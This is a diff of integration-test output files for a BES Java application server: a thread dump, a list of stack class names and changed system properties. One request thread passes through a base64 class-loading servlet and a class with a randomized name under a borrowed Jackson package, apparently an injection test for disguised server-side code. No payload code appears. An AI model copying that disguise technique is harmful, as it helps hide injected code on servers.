+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
+ at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:68)
+
+"Spark_1" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d08010
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #80 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_4" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"httpWorkerThread-8080-2" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-1900-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25b4ba8f
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"SelectorReaderThread-8080-1" #76 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #60 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+"LifecycleThread[com.bes.appserv]-1" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@146bd4e6
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@32b9af7c
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"ReadWriteBlockThread-0" #14 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
+
+"httpWorkerThread-8080-6" #70 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at com.fasterxml.jackson.EwGWk.ErrorKnbprHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
+ at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92)
+ at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
+ at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
+ at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
+ at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136)
+ at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77)
+ at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83)
+ at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349)
+ at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:662)
+ at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
+ at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:807)
+ at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1688)
+ at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"AsyncTimeoutThread-1900" #75 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-1900-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.3:6600]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@144f793b
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"jmsra-WorkerThread-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_3" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"ReadWriteBlockThread-1" #15 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
+
+"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@142fd9ff
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:460)
+ at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
+ at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
+ at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-4" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ea9f378
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Spark_2" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"jmsra-WorkerThread-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-172.17.0.3" #94 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #99 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.bes.ejb.spark.tcp.threadpool.PreSelector
+com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
+com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
+com.bes.ejb.spark.tcp.transport.AcceptorThread
+com.bes.enterprise.appserver.startup.Bootstrap
+com.bes.enterprise.base.disruptor.BatchEventProcessor
+com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
+com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
+com.bes.enterprise.base.disruptor.util.Util
+com.bes.enterprise.server.builder.BesWebModule
+com.bes.enterprise.startup.ASMain
+com.bes.enterprise.web.crane.AbstractProcessorLight
+com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout
+com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
+com.bes.enterprise.web.crane.http11.Http11Processor
+com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller
+com.bes.enterprise.web.util.net.NioEndpoint$Acceptor
+com.bes.enterprise.web.util.net.NioEndpoint$Poller
+com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
+com.bes.enterprise.web.util.net.SocketProcessorBase
+com.bes.enterprise.web.util.threads.WorkQueue
+com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
+com.bes.enterprise.web.websocket.server.WsFilter
+com.bes.enterprise.webext.BESAppservValve
+com.bes.enterprise.webext.BesContextCleanupValve
+com.bes.enterprise.webtier.authenticator.AuthenticatorBase
+com.bes.enterprise.webtier.connector.CoyoteAdapter
+com.bes.enterprise.webtier.connector.CoyoteWriter
+com.bes.enterprise.webtier.core.ApplicationFilterChain
+com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor
+com.bes.enterprise.webtier.core.DefaultContextValve
+com.bes.enterprise.webtier.core.DefaultEngineValve
+com.bes.enterprise.webtier.core.DefaultHostValve
+com.bes.enterprise.webtier.core.DefaultWrapperValve
+com.bes.enterprise.webtier.valves.ErrorReportValve
+com.fasterxml.jackson.EwGWk.ErrorKnbprHandler
diff --git a/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt
index e156f3d1..f65a2e20 100644
--- a/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt
+++ b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt
@@ -1,4 +1,4 @@
-# Generated At 2025-08-10 14:56:20
+# Generated At 2026-05-24 05:04:43
SystemProps:
bes.loader: bes-system
java.vendor: Oracle Corporation
@@ -22,11 +22,11 @@ user.name: root
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
com.bes.resource.ejb.leakDetect: false
-com.bes.hostName: a1666f015eb3
+com.bes.hostName: 96b21756e3f9
java.naming.factory.initial: com.bes.jndi.CtxFactory
user.language: en
derby.system.home: /opt/bes
-sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
+sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
com.bes.enterprise.log.outAndErrNotRedirect: false
java.version: 1.8.0_342
@@ -50,7 +50,7 @@ java.home: /usr/local/openjdk-8/jre
java.vm.info: mixed mode
com.bes.instanceName: server
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
-os.version: 6.14.10-orbstack-00291-g1b252bd3edea
+os.version: 6.8.0-111-generic
path.separator: :
java.vm.version: 25.342-b07
com.bes.verboseMode: true
@@ -69,7 +69,7 @@ java.security.egd: file:/dev/./urandom
user.home: /root
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
java.specification.vendor: Oracle Corporation
-java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
+java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
java.vendor.url: http://java.oracle.com/
com.bes.enterprise.deployments.classpath: false
java.vm.vendor: Oracle Corporation
@@ -77,7 +77,7 @@ common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/
com.bes.enterprise.startup.ExitOnInitFailure: true
java.runtime.name: OpenJDK Runtime Environment
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
-java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
+java.class.path: /opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar
com.bes.instanceRoot: /opt/bes
java.vm.specification.name: Java Virtual Machine Specification
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-http